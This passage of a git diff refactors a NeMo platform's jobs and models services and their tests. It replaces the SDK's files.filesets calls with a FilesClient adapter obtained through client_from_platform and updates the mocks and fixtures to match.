nemo_platform_plugin.client.errors import NotFoundError job_id, job_name, _, _, _, _ = await create_test_job_data(mock_store, "delete-missing-fileset-job") - # Simulate the fileset already being gone - mock_dispatcher.sdk.files.filesets.delete = AsyncMock(side_effect=NotFoundError.__new__(NotFoundError)) + # Simulate the fileset already being gone by making the mock files client raise NotFoundError + mock_files = AsyncMock() + mock_files.delete_fileset = AsyncMock(side_effect=NotFoundError.__new__(NotFoundError)) - # delete_job should still succeed and return True - deleted = await mock_dispatcher.delete_job(job_name, DEFAULT_WORKSPACE) + with patch("nmp.core.jobs.app.dispatcher.client_from_platform", return_value=mock_files): + deleted = await mock_dispatcher.delete_job(job_name, DEFAULT_WORKSPACE) assert deleted is True # The job entity itself should be gone @@ -643,58 +644,58 @@ async def test_list_steps_across_multiple_workspaces( # Create entity store with multiple workspaces and projects projects = ["default/test-project", "other-workspace/test-project"] with create_test_client(client_type=EntityClient, projects=projects) as mock_store: - # Create mock SDK + # Create mock SDK with patched files client mock_nmp_client = MagicMock() - mock_nmp_client.files = MagicMock() - mock_nmp_client.files.filesets = MagicMock() - mock_nmp_client.files.filesets.create = AsyncMock() - mock_nmp_client.files.filesets.delete = AsyncMock() - mock_fileset = MagicMock() - mock_fileset.name = "test-fileset-id" - mock_nmp_client.files.filesets.create.return_value = mock_fileset - - # Create dispatcher with the multi-workspace store - mock_dispatcher = JobDispatcher(store=mock_store, sdk=mock_nmp_client) - - # Create jobs in workspace "default" - job1 = await mock_dispatcher.create_job(sample_platform_job_request, DEFAULT_WORKSPACE) - - job2_request = CreatePlatformJobRequest( - name="test-job-2", - description="Second test job", - project="test-project", - source=TestConstants.SOURCE, - spec=TestConstants.SPEC_BASIC, - platform_spec=TestConstants.PLATFORM_SPEC, - ownership=TestConstants.OWNERSHIP_BASIC, - custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, - ) - job2 = await mock_dispatcher.create_job(job2_request, DEFAULT_WORKSPACE) - - # Create jobs in workspace "other-workspace" - job3_request = CreatePlatformJobRequest( - name="test-job-3", - description="Third test job in other workspace", - project="test-project", - source=TestConstants.SOURCE, - spec=TestConstants.SPEC_BASIC, - platform_spec=TestConstants.PLATFORM_SPEC, - ownership=TestConstants.OWNERSHIP_BASIC, - custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, - ) - job3 = await mock_dispatcher.create_job(job3_request, "other-workspace") - - job4_request = CreatePlatformJobRequest( - name="test-job-4", - description="Fourth test job in other workspace", - project="test-project", - source=TestConstants.SOURCE, - spec=TestConstants.SPEC_BASIC, - platform_spec=TestConstants.PLATFORM_SPEC, - ownership=TestConstants.OWNERSHIP_BASIC, - custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, - ) - job4 = await mock_dispatcher.create_job(job4_request, "other-workspace") + mock_files = AsyncMock() + mock_fileset_obj = MagicMock() + mock_fileset_obj.name = "test-fileset-id" + mock_resp = MagicMock() + mock_resp.data.return_value = mock_fileset_obj + mock_files.create_fileset.return_value = mock_resp + + with patch("nmp.core.jobs.app.dispatcher.client_from_platform", return_value=mock_files): + # Create dispatcher with the multi-workspace store + mock_dispatcher = JobDispatcher(store=mock_store, sdk=mock_nmp_client) + + # Create jobs in workspace "default" + job1 = await mock_dispatcher.create_job(sample_platform_job_request, DEFAULT_WORKSPACE) + + job2_request = CreatePlatformJobRequest( + name="test-job-2", + description="Second test job", + project="test-project", + source=TestConstants.SOURCE, + spec=TestConstants.SPEC_BASIC, + platform_spec=TestConstants.PLATFORM_SPEC, + ownership=TestConstants.OWNERSHIP_BASIC, + custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, + ) + job2 = await mock_dispatcher.create_job(job2_request, DEFAULT_WORKSPACE) + + # Create jobs in workspace "other-workspace" + job3_request = CreatePlatformJobRequest( + name="test-job-3", + description="Third test job in other workspace", + project="test-project", + source=TestConstants.SOURCE, + spec=TestConstants.SPEC_BASIC, + platform_spec=TestConstants.PLATFORM_SPEC, + ownership=TestConstants.OWNERSHIP_BASIC, + custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, + ) + job3 = await mock_dispatcher.create_job(job3_request, "other-workspace") + + job4_request = CreatePlatformJobRequest( + name="test-job-4", + description="Fourth test job in other workspace", + project="test-project", + source=TestConstants.SOURCE, + spec=TestConstants.SPEC_BASIC, + platform_spec=TestConstants.PLATFORM_SPEC, + ownership=TestConstants.OWNERSHIP_BASIC, + custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, + ) + job4 = await mock_dispatcher.create_job(job4_request, "other-workspace") # List steps in "default" workspace step_filter = PlatformJobStepsListFilter() @@ -774,16 +775,16 @@ async def test_list_steps_with_status_filter( with create_test_client(client_type=EntityClient) as mock_store: mock_nmp_client = MagicMock() - mock_nmp_client.files = MagicMock() - mock_nmp_client.files.filesets = MagicMock() - mock_nmp_client.files.filesets.create = AsyncMock() - mock_nmp_client.files.filesets.delete = AsyncMock() - mock_fileset = MagicMock() - mock_fileset.name = "test-fileset-id" - mock_nmp_client.files.filesets.create.return_value = mock_fileset + mock_files = AsyncMock() + mock_fileset_obj = MagicMock() + mock_fileset_obj.name = "test-fileset-id" + mock_resp = MagicMock() + mock_resp.data.return_value = mock_fileset_obj + mock_files.create_fileset.return_value = mock_resp - mock_dispatcher = JobDispatcher(store=mock_store, sdk=mock_nmp_client) - await mock_dispatcher.create_job(sample_platform_job_request, DEFAULT_WORKSPACE) + with patch("nmp.core.jobs.app.dispatcher.client_from_platform", return_value=mock_files): + mock_dispatcher = JobDispatcher(store=mock_store, sdk=mock_nmp_client) + await mock_dispatcher.create_job(sample_platform_job_request, DEFAULT_WORKSPACE) # Filtering by a status that no step has should return nothing — the # important assertion is that the call doesn't raise. @@ -804,7 +805,7 @@ async def test_list_jobs_across_multiple_workspaces( sample_platform_job_request: CreatePlatformJobRequest, ): """Test list_jobs respects workspace filtering.""" - from unittest.mock import AsyncMock, MagicMock + from unittest.mock import MagicMock from nmp.common.entities.client import EntityClient from nmp.core.jobs.api.v2.jobs.schemas import PlatformJobSortField @@ -813,58 +814,58 @@ async def test_list_jobs_across_multiple_workspaces( # Create entity store with multiple workspaces and projects projects = ["default/test-project", "other-workspace/test-project"] with create_test_client(client_type=EntityClient, projects=projects) as mock_store: - # Create mock SDK + # Create mock SDK with patched files client mock_nmp_client = MagicMock() - mock_nmp_client.files = MagicMock() - mock_nmp_client.files.filesets = MagicMock() - mock_nmp_client.files.filesets.create = AsyncMock() - mock_nmp_client.files.filesets.delete = AsyncMock() - mock_fileset = MagicMock() - mock_fileset.name = "test-fileset-id" - mock_nmp_client.files.filesets.create.return_value = mock_fileset - - # Create dispatcher with the multi-workspace store - mock_dispatcher = JobDispatcher(store=mock_store, sdk=mock_nmp_client) - - # Create jobs in workspace "default" - job1 = await mock_dispatcher.create_job(sample_platform_job_request, DEFAULT_WORKSPACE) - - job2_request = CreatePlatformJobRequest( - name="test-job-2", - description="Second test job", - project="test-project", - source=TestConstants.SOURCE, - spec=TestConstants.SPEC_BASIC, - platform_spec=TestConstants.PLATFORM_SPEC, - ownership=TestConstants.OWNERSHIP_BASIC, - custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, - ) - job2 = await mock_dispatcher.create_job(job2_request, DEFAULT_WORKSPACE) - - # Create jobs in workspace "other-workspace" - job3_request = CreatePlatformJobRequest( - name="test-job-3", - description="Third test job in other workspace", - project="test-project", - source=TestConstants.SOURCE, - spec=TestConstants.SPEC_BASIC, - platform_spec=TestConstants.PLATFORM_SPEC, - ownership=TestConstants.OWNERSHIP_BASIC, - custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, - ) - job3 = await mock_dispatcher.create_job(job3_request, "other-workspace") - - job4_request = CreatePlatformJobRequest( - name="test-job-4", - description="Fourth test job in other workspace", - project="test-project", - source=TestConstants.SOURCE, - spec=TestConstants.SPEC_BASIC, - platform_spec=TestConstants.PLATFORM_SPEC, - ownership=TestConstants.OWNERSHIP_BASIC, - custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, - ) - job4 = await mock_dispatcher.create_job(job4_request, "other-workspace") + mock_files = AsyncMock() + mock_fileset_obj = MagicMock() + mock_fileset_obj.name = "test-fileset-id" + mock_resp = MagicMock() + mock_resp.data.return_value = mock_fileset_obj + mock_files.create_fileset.return_value = mock_resp + + with patch("nmp.core.jobs.app.dispatcher.client_from_platform", return_value=mock_files): + # Create dispatcher with the multi-workspace store + mock_dispatcher = JobDispatcher(store=mock_store, sdk=mock_nmp_client) + + # Create jobs in workspace "default" + job1 = await mock_dispatcher.create_job(sample_platform_job_request, DEFAULT_WORKSPACE) + + job2_request = CreatePlatformJobRequest( + name="test-job-2", + description="Second test job", + project="test-project", + source=TestConstants.SOURCE, + spec=TestConstants.SPEC_BASIC, + platform_spec=TestConstants.PLATFORM_SPEC, + ownership=TestConstants.OWNERSHIP_BASIC, + custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, + ) + job2 = await mock_dispatcher.create_job(job2_request, DEFAULT_WORKSPACE) + + # Create jobs in workspace "other-workspace" + job3_request = CreatePlatformJobRequest( + name="test-job-3", + description="Third test job in other workspace", + project="test-project", + source=TestConstants.SOURCE, + spec=TestConstants.SPEC_BASIC, + platform_spec=TestConstants.PLATFORM_SPEC, + ownership=TestConstants.OWNERSHIP_BASIC, + custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, + ) + job3 = await mock_dispatcher.create_job(job3_request, "other-workspace") + + job4_request = CreatePlatformJobRequest( + name="test-job-4", + description="Fourth test job in other workspace", + project="test-project", + source=TestConstants.SOURCE, + spec=TestConstants.SPEC_BASIC, + platform_spec=TestConstants.PLATFORM_SPEC, + ownership=TestConstants.OWNERSHIP_BASIC, + custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, + ) + job4 = await mock_dispatcher.create_job(job4_request, "other-workspace") # List jobs in "default" workspace jobs_default, count_default = await mock_dispatcher.list_jobs( diff --git a/services/core/jobs/tests/test_job_logs.py b/services/core/jobs/tests/test_job_logs.py index 04fdbb7405..4d3c752df2 100644 --- a/services/core/jobs/tests/test_job_logs.py +++ b/services/core/jobs/tests/test_job_logs.py @@ -2,7 +2,7 @@ # SPDX-License-Identifier: Apache-2.0 from datetime import datetime -from unittest.mock import AsyncMock, MagicMock +from unittest.mock import AsyncMock, MagicMock, patch import pytest from fastapi import FastAPI @@ -58,19 +58,17 @@ def dispatcher(self): """Create a real dispatcher with test entity store and mock SDK.""" projects = ["default/test-project"] with create_test_client(client_type=EntityClient, projects=projects) as mock_store: - # Create mock SDK mock_nmp_client = MagicMock() - mock_nmp_client.files = MagicMock() - mock_nmp_client.files.filesets = MagicMock() - mock_nmp_client.files.filesets.create = AsyncMock() - mock_nmp_client.files.filesets.delete = AsyncMock() - mock_fileset = MagicMock() - mock_fileset.name = "test-fileset-id" - mock_nmp_client.files.filesets.create.return_value = mock_fileset - - # Create dispatcher with the test store - dispatcher = JobDispatcher(store=mock_store, sdk=mock_nmp_client) - yield dispatcher + mock_files = AsyncMock() + mock_fileset_obj = MagicMock() + mock_fileset_obj.name = "test-fileset-id" + mock_resp = MagicMock() + mock_resp.data.return_value = mock_fileset_obj + mock_files.create_fileset.return_value = mock_resp + + with patch("nmp.core.jobs.app.dispatcher.client_from_platform", return_value=mock_files): + dispatcher = JobDispatcher(store=mock_store, sdk=mock_nmp_client) + yield dispatcher @pytest.fixture def test_client(self, dispatcher, mock_logs_client): diff --git a/services/core/jobs/tests/test_jobs_api.py b/services/core/jobs/tests/test_jobs_api.py index 218c6f6c05..0ed059d7c6 100644 --- a/services/core/jobs/tests/test_jobs_api.py +++ b/services/core/jobs/tests/test_jobs_api.py @@ -1150,7 +1150,7 @@ async def test_get_platform_jobs_steps_list_filter_invalid(): @pytest.mark.asyncio async def test_job_steps_list_global_vs_workspaced(sample_platform_job_request: CreatePlatformJobRequest): """Test that global step listing returns steps from all workspaces while workspaced calls are filtered.""" - from unittest.mock import AsyncMock, MagicMock + from unittest.mock import AsyncMock, MagicMock, patch from nmp.common.entities.client import EntityClient from nmp.testing import create_test_client @@ -1158,58 +1158,58 @@ async def test_job_steps_list_global_vs_workspaced(sample_platform_job_request: # Create entity store with multiple workspaces and projects projects = ["default/test-project", "other-workspace/test-project"] with create_test_client(client_type=EntityClient, projects=projects) as mock_store: - # Create mock SDK + # Create mock SDK with patched files client mock_nmp_client = MagicMock() - mock_nmp_client.files = MagicMock() - mock_nmp_client.files.filesets = MagicMock() - mock_nmp_client.files.filesets.create = AsyncMock() - mock_nmp_client.files.filesets.delete = AsyncMock() - mock_fileset = MagicMock() - mock_fileset.name = "test-fileset-id" - mock_nmp_client.files.filesets.create.return_value = mock_fileset - - # Create dispatcher with the multi-workspace store - mock_dispatcher = JobDispatcher(store=mock_store, sdk=mock_nmp_client) - - # Create jobs in "default" workspace - job1 = await mock_dispatcher.create_job(sample_platform_job_request, DEFAULT_WORKSPACE) - - job2_request = CreatePlatformJobRequest( - name="test-job-2", - description="Second test job", - project="test-project", - source=TestConstants.SOURCE, - spec=TestConstants.SPEC_BASIC, - platform_spec=TestConstants.PLATFORM_SPEC, - ownership=TestConstants.OWNERSHIP_BASIC, - custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, - ) - job2 = await mock_dispatcher.create_job(job2_request, DEFAULT_WORKSPACE) - - # Create jobs in "other-workspace" - job3_request = CreatePlatformJobRequest( - name="test-job-3", - description="Third test job in other workspace", - project="test-project", - source=TestConstants.SOURCE, - spec=TestConstants.SPEC_BASIC, - platform_spec=TestConstants.PLATFORM_SPEC, - ownership=TestConstants.OWNERSHIP_BASIC, - custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, - ) - job3 = await mock_dispatcher.create_job(job3_request, "other-workspace") - - job4_request = CreatePlatformJobRequest( - name="test-job-4", - description="Fourth test job in other workspace", - project="test-project", - source=TestConstants.SOURCE, - spec=TestConstants.SPEC_BASIC, - platform_spec=TestConstants.PLATFORM_SPEC, - ownership=TestConstants.OWNERSHIP_BASIC, - custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, - ) - job4 = await mock_dispatcher.create_job(job4_request, "other-workspace") + mock_files = AsyncMock() + mock_fileset_obj = MagicMock() + mock_fileset_obj.name = "test-fileset-id" + mock_resp = MagicMock() + mock_resp.data.return_value = mock_fileset_obj + mock_files.create_fileset.return_value = mock_resp + + with patch("nmp.core.jobs.app.dispatcher.client_from_platform", return_value=mock_files): + # Create dispatcher with the multi-workspace store + mock_dispatcher = JobDispatcher(store=mock_store, sdk=mock_nmp_client) + + # Create jobs in "default" workspace + job1 = await mock_dispatcher.create_job(sample_platform_job_request, DEFAULT_WORKSPACE) + + job2_request = CreatePlatformJobRequest( + name="test-job-2", + description="Second test job", + project="test-project", + source=TestConstants.SOURCE, + spec=TestConstants.SPEC_BASIC, + platform_spec=TestConstants.PLATFORM_SPEC, + ownership=TestConstants.OWNERSHIP_BASIC, + custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, + ) + job2 = await mock_dispatcher.create_job(job2_request, DEFAULT_WORKSPACE) + + # Create jobs in "other-workspace" + job3_request = CreatePlatformJobRequest( + name="test-job-3", + description="Third test job in other workspace", + project="test-project", + source=TestConstants.SOURCE, + spec=TestConstants.SPEC_BASIC, + platform_spec=TestConstants.PLATFORM_SPEC, + ownership=TestConstants.OWNERSHIP_BASIC, + custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, + ) + job3 = await mock_dispatcher.create_job(job3_request, "other-workspace") + + job4_request = CreatePlatformJobRequest( + name="test-job-4", + description="Fourth test job in other workspace", + project="test-project", + source=TestConstants.SOURCE, + spec=TestConstants.SPEC_BASIC, + platform_spec=TestConstants.PLATFORM_SPEC, + ownership=TestConstants.OWNERSHIP_BASIC, + custom_fields=TestConstants.CUSTOM_FIELDS_BASIC, + ) + job4 = await mock_dispatcher.create_job(job4_request, "other-workspace") # Test global listing with wildcard - should return steps from all workspaces step_filter = PlatformJobStepsListFilter() diff --git a/services/core/models/src/nmp/core/models/api/permissions.py b/services/core/models/src/nmp/core/models/api/permissions.py index e9ed8aa8c2..6e9d9c958b 100644 --- a/services/core/models/src/nmp/core/models/api/permissions.py +++ b/services/core/models/src/nmp/core/models/api/permissions.py @@ -14,7 +14,11 @@ from nemo_platform import AsyncNeMoPlatform from nemo_platform._exceptions import NotFoundError, PermissionDeniedError -from nemo_platform.types.files import Fileset +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError +from nemo_platform_plugin.client.errors import PermissionDeniedError as FilesPermissionDeniedError +from nemo_platform_plugin.files.client import AsyncFilesClient +from nemo_platform_plugin.files.types import FilesetOutput from nmp.common.auth import AuthClient from nmp.common.entities.utils import parse_entity_ref @@ -34,7 +38,7 @@ async def check_secret_access(nmp_sdk: AsyncNeMoPlatform, secret_name: str, work raise ValueError(f"Secret '{secret_name}' not found in workspace '{workspace}'") from None -async def check_fileset_access(nmp_sdk: AsyncNeMoPlatform, fileset: str, workspace: str) -> Fileset: +async def check_fileset_access(nmp_sdk: AsyncNeMoPlatform, fileset: str, workspace: str) -> FilesetOutput: """Check that the current user can access the referenced fileset. Retrieves fileset metadata via the Files API; AuthZ middleware enforces @@ -46,12 +50,13 @@ async def check_fileset_access(nmp_sdk: AsyncNeMoPlatform, fileset: str, workspa """ _fs_ref = parse_entity_ref(fileset, default_workspace=workspace) fs_workspace, fs_name = _fs_ref.workspace, _fs_ref.name + files = client_from_platform(nmp_sdk, AsyncFilesClient) try: - fs = await nmp_sdk.files.filesets.retrieve(workspace=fs_workspace, name=fs_name) + fs = (await files.get_fileset(workspace=fs_workspace, name=fs_name)).data() return fs - except PermissionDeniedError: + except FilesPermissionDeniedError: raise PermissionError(f"Access denied to fileset '{fileset}'") from None - except NotFoundError: + except FilesNotFoundError: raise ValueError(f"Fileset '{fileset}' not found in workspace '{fs_workspace}'") from None diff --git a/services/core/models/src/nmp/core/models/api/service/model_entity_service.py b/services/core/models/src/nmp/core/models/api/service/model_entity_service.py index e2f1ab4d43..c6e1ecb2c8 100644 --- a/services/core/models/src/nmp/core/models/api/service/model_entity_service.py +++ b/services/core/models/src/nmp/core/models/api/service/model_entity_service.py @@ -9,7 +9,8 @@ from collections import defaultdict from nemo_platform import AsyncNeMoPlatform, NotFoundError, PermissionDeniedError -from nemo_platform.types.files import Fileset, FilesetFile, HuggingfaceStorageConfig, NGCStorageConfig +from nemo_platform_plugin.files.storage_config import HuggingfaceStorageConfig, NGCStorageConfig +from nemo_platform_plugin.files.types import FilesetFileOutput, FilesetOutput from nmp.common.api.common import Page, PaginationData from nmp.common.api.filter import ComparisonOperation, FilterOperation, FilterOperator, LogicalOperation from nmp.common.api.parsed_filter import ParsedFilter @@ -58,7 +59,7 @@ def _repo_id_matches_trusted(repo_id: str, patterns: list[str]) -> bool: async def get_fileset_and_files_list( sdk: AsyncNeMoPlatform, workspace: str, fileset_ref: str | None -) -> tuple[Fileset, list[FilesetFile]]: +) -> tuple[FilesetOutput, list[FilesetFileOutput]]: """Validate that the fileset exists and the user has access.""" if not fileset_ref: raise FilesetValidationError("Fileset reference is required") @@ -200,7 +201,7 @@ def _has_tool_call_plugin(request) -> bool: return False -def fileset_has_tool_call_plugin(fileset: Fileset) -> bool: +def fileset_has_tool_call_plugin(fileset: FilesetOutput) -> bool: """Return True if a fileset's metadata contains a tool_call_plugin value.""" if not fileset.metadata: return False diff --git a/services/core/models/src/nmp/core/models/tasks/model_spec/run.py b/services/core/models/src/nmp/core/models/tasks/model_spec/run.py index 5ae66cc7d8..5cff0d3eba 100644 --- a/services/core/models/src/nmp/core/models/tasks/model_spec/run.py +++ b/services/core/models/src/nmp/core/models/tasks/model_spec/run.py @@ -26,8 +26,11 @@ NeMoPlatformError, NotFoundError, ) -from nemo_platform.types.files import Fileset, HuggingfaceStorageConfig, LocalStorageConfig, NGCStorageConfig from nemo_platform.types.models import ModelEntity +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.storage_config import HuggingfaceStorageConfig, LocalStorageConfig, NGCStorageConfig +from nemo_platform_plugin.files.types import FilesetOutput from nmp.common.entities.utils import parse_entity_ref from nmp.common.model_utils import is_embedding_model from nmp.common.sdk_factory import get_platform_sdk @@ -75,22 +78,25 @@ def __init__(self, sdk: NeMoPlatform, job_ctx: NMPJobContext): self.job_ctx = job_ctx @staticmethod - def _merge_fileset_metadata(fs: Fileset, model_spec: ModelSpec) -> None: + def _merge_fileset_metadata(fs: FilesetOutput, model_spec: ModelSpec) -> None: """Merge tool calling metadata from fileset into model spec. Users can set these values on the fileset at creation time via metadata: - sdk.files.filesets.create( - ..., - metadata={ - "model": { - "tool_calling": { - "chat_template": "", - "tool_call_parser": "llama3_json", - "tool_call_plugin": "default/my-plugin-fileset", - "auto_tool_choice": True, + files = client_from_platform(sdk, FilesClient) + files.create_fileset( + body=CreateFilesetRequest( + ..., + metadata={ + "model": { + "tool_calling": { + "chat_template": "", + "tool_call_parser": "llama3_json", + "tool_call_plugin": "default/my-plugin-fileset", + "auto_tool_choice": True, + }, }, }, - }, + ), ) The model spec task then merges these into the auto-generated ModelSpec so @@ -200,7 +206,8 @@ def analyze_checkpoint(self, config: ModelSpecTaskConfig) -> ModelEntity: # Validate that the fileset exists before creating the model entity logger.info(f"Validating fileset exists: {fileset_workspace}/{fileset_name}") try: - fs = self.sdk.files.filesets.retrieve(workspace=fileset_workspace, name=fileset_name) + files = client_from_platform(self.sdk, FilesClient) + fs = files.get_fileset(workspace=fileset_workspace, name=fileset_name).data() logger.info(f"Fileset validation successful: {fileset_workspace}/{fileset_name}") except Exception as e: logger.error(f"Fileset validation failed: {fileset_workspace}/{fileset_name}") diff --git a/services/core/models/tests/integration/test_chat_template_tool_calling.py b/services/core/models/tests/integration/test_chat_template_tool_calling.py index 878330d419..3680919ca5 100644 --- a/services/core/models/tests/integration/test_chat_template_tool_calling.py +++ b/services/core/models/tests/integration/test_chat_template_tool_calling.py @@ -175,10 +175,10 @@ def sample_deployment(): def _update_fileset_and_run_task(test_clients, model_name, metadata, tmp_path): """Simulate: user patches fileset → model-spec task runs. - 1. **Update fileset** — mock ``sdk.files.filesets.update()`` to simulate the - user adding ``metadata`` to their fileset. - 2. **Run analyze_checkpoint** — the task calls ``sdk.files.filesets.retrieve()`` - (also mocked to return the now-updated fileset), merges ``metadata.model.tool_calling`` + 1. **Update fileset** — mock the files client to simulate the user adding + ``metadata`` to their fileset. + 2. **Run analyze_checkpoint** — the task calls ``client_from_platform(sdk, FilesClient).get_fileset()`` + (mocked to return the now-updated fileset), merges ``metadata.model.tool_calling`` into a ``ModelSpec``, and calls the *real* ``sdk.models.update(spec=...)``. ``nmp.core.models.parallelism.api`` depends on torch/accelerate (GPU deps @@ -188,24 +188,17 @@ def _update_fileset_and_run_task(test_clients, model_name, metadata, tmp_path): """ sdk = test_clients.sdk - # -- Step 1: User updates fileset with metadata --------------------------- + # -- Step 1: Build the updated fileset representation --------------------- updated_fileset = SimpleNamespace( name=FILESET_NAME, workspace=DEFAULT_WORKSPACE, metadata=metadata, ) - with patch.object(sdk.files.filesets, "update", return_value=updated_fileset) as mock_update: - sdk.files.filesets.update( - FILESET_NAME, - workspace=DEFAULT_WORKSPACE, - metadata=metadata, - ) - mock_update.assert_called_once_with( - FILESET_NAME, - workspace=DEFAULT_WORKSPACE, - metadata=metadata, - ) + mock_files_client = MagicMock() + mock_response = MagicMock() + mock_response.data.return_value = updated_fileset + mock_files_client.get_fileset.return_value = mock_response # -- Step 2: Model-spec background task runs ------------------------------ model_dir = tmp_path / "model" @@ -239,11 +232,11 @@ def _update_fileset_and_run_task(test_clients, model_name, metadata, tmp_path): parent.__path__ = [] modules_patch["nmp.core.models.parallelism"] = parent - # Task calls sdk.files.filesets.retrieve() → gets the updated fileset + # Task calls client_from_platform(sdk, FilesClient).get_fileset() → gets the updated fileset with ( patch.dict(sys.modules, modules_patch), - patch.object(sdk.files.filesets, "retrieve", return_value=updated_fileset), - patch.object(sdk.files, "_list_files", return_value=SimpleNamespace(data=[])), + patch("nmp.core.models.tasks.model_spec.run.client_from_platform", return_value=mock_files_client), + patch.object(sdk.files, "list", return_value=SimpleNamespace(data=[])), patch.object(runner.filesystem_sdk, "get"), patch("nmp.core.models.tasks.model_spec.run.os.listdir", return_value=["config.json"]), ): diff --git a/services/core/models/tests/integration/test_model_entity_service_integration.py b/services/core/models/tests/integration/test_model_entity_service_integration.py index 6611a27e82..bd05a55226 100644 --- a/services/core/models/tests/integration/test_model_entity_service_integration.py +++ b/services/core/models/tests/integration/test_model_entity_service_integration.py @@ -3,13 +3,13 @@ """Integration tests for Model Entity service with in-memory EntityClient.""" -from unittest.mock import AsyncMock +from unittest.mock import AsyncMock, MagicMock, patch import pytest from nemo_platform import AsyncNeMoPlatform -from nemo_platform.filesets import ListFilesResponse -from nemo_platform.types.files import Fileset, FilesetFile, LocalStorageConfig -from nemo_platform.types.shared import FilesetMetadata +from nemo_platform_plugin.files.metadata import FilesetMetadata +from nemo_platform_plugin.files.storage_config import LocalStorageConfig +from nemo_platform_plugin.files.types import FilesetFileOutput, FilesetOutput, ListFilesetFilesResponse from nmp.common.api.filter import ComparisonOperation, FilterOperator, LogicalOperation from nmp.common.api.parsed_filter import ParsedFilter from nmp.common.entities.client import EntityClient @@ -40,14 +40,37 @@ def entity_client() -> EntityClient: @pytest.fixture -def model_entity_service(entity_client): +def _mock_files_client(): + """Mock the FilesClient returned by client_from_platform in the permissions module.""" + fileset_output = FilesetOutput( + id="fileset-id-123", + name="test-fileset", + workspace="default", + description="Test fileset", + storage=LocalStorageConfig(path="test-path"), + purpose="generic", + project="test-project", + created_at="2026-01-01T00:00:00Z", + updated_at="2026-01-01T00:00:00Z", + custom_fields={"key": "value"}, + metadata=FilesetMetadata(), + ) + mock_fc = AsyncMock() + mock_response = MagicMock() + mock_response.data.return_value = fileset_output + mock_fc.get_fileset.return_value = mock_response + with patch("nmp.core.models.api.permissions.client_from_platform", return_value=mock_fc): + yield mock_fc + + +@pytest.fixture +def model_entity_service(entity_client, _mock_files_client): """Create a ModelEntityService with MockEntityClient for integration testing.""" async_sdk = AsyncMock(spec=AsyncNeMoPlatform) async_sdk.files.list = AsyncMock( - return_value=ListFilesResponse( + return_value=ListFilesetFilesResponse( data=[ - FilesetFile( - id="file-id-123", + FilesetFileOutput( file_ref="file-ref-123", file_url="file-url-123", path="path-123", @@ -57,21 +80,6 @@ def model_entity_service(entity_client): ] ) ) - async_sdk.files.filesets.retrieve = AsyncMock( - return_value=Fileset( - id="fileset-id-123", - name="test-fileset", - workspace="default", - description="Test fileset", - storage=LocalStorageConfig(path="test-path"), - purpose="generic", - project="test-project", - created_at="2026-01-01T00:00:00Z", - updated_at="2026-01-01T00:00:00Z", - custom_fields={"key": "value"}, - metadata=FilesetMetadata(), - ) - ) return ModelEntityService(entity_client, sdk=async_sdk) diff --git a/services/core/models/tests/integration/test_models_with_auth.py b/services/core/models/tests/integration/test_models_with_auth.py index bc63c6458a..9545aa93f4 100644 --- a/services/core/models/tests/integration/test_models_with_auth.py +++ b/services/core/models/tests/integration/test_models_with_auth.py @@ -23,6 +23,9 @@ import pytest from nemo_platform import NeMoPlatform, PermissionDeniedError +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from nmp.core.auth.app.bundle import build_authorization_data as _real_build_authorization_data from nmp.core.files.service import FilesService from nmp.core.models.config import config as models_config @@ -1151,7 +1154,9 @@ def test_editor_can_create_model_with_fileset(self, sdk: NeMoPlatform): admin_sdk = as_user(sdk, TEST_ADMIN_EMAIL) admin_sdk.workspaces.create(name=workspace) - admin_sdk.files.filesets.create(workspace=workspace, name=fileset_name) + client_from_platform(admin_sdk, FilesClient).create_fileset( + workspace=workspace, body=CreateFilesetRequest(name=fileset_name) + ) admin_sdk.files.upload_content( content=b"x", remote_path="placeholder.txt", fileset=fileset_name, workspace=workspace ) @@ -1179,7 +1184,9 @@ def test_editor_can_update_model_with_fileset(self, sdk: NeMoPlatform): admin_sdk = as_user(sdk, TEST_ADMIN_EMAIL) admin_sdk.workspaces.create(name=workspace) admin_sdk.models.create(workspace=workspace, name=model_name) - admin_sdk.files.filesets.create(workspace=workspace, name=fileset_name) + client_from_platform(admin_sdk, FilesClient).create_fileset( + workspace=workspace, body=CreateFilesetRequest(name=fileset_name) + ) admin_sdk.files.upload_content( content=b"x", remote_path="placeholder.txt", fileset=fileset_name, workspace=workspace ) @@ -1207,7 +1214,9 @@ def test_editor_can_create_adapter_with_fileset(self, sdk: NeMoPlatform): admin_sdk = as_user(sdk, TEST_ADMIN_EMAIL) admin_sdk.workspaces.create(name=workspace) admin_sdk.models.create(workspace=workspace, name=model_name) - admin_sdk.files.filesets.create(workspace=workspace, name=fileset_name) + client_from_platform(admin_sdk, FilesClient).create_fileset( + workspace=workspace, body=CreateFilesetRequest(name=fileset_name) + ) admin_sdk.files.upload_content( content=b"x", remote_path="placeholder.txt", fileset=fileset_name, workspace=workspace ) @@ -1345,10 +1354,9 @@ def test_create_model_trust_remote_code_true_has_permission_succeeds(self, sdk: admin_sdk = as_user(sdk, TEST_ADMIN_EMAIL) admin_sdk.workspaces.create(name=workspace) - admin_sdk.files.filesets.create( + client_from_platform(admin_sdk, FilesClient).create_fileset( workspace=workspace, - name=fileset_name, - storage={"type": "huggingface", "repo_id": "Qwen/Qwen3-0.6B"}, + body=CreateFilesetRequest(name=fileset_name, storage={"type": "huggingface", "repo_id": "Qwen/Qwen3-0.6B"}), ) grant_workspace_role( admin_sdk, @@ -1376,10 +1384,11 @@ def 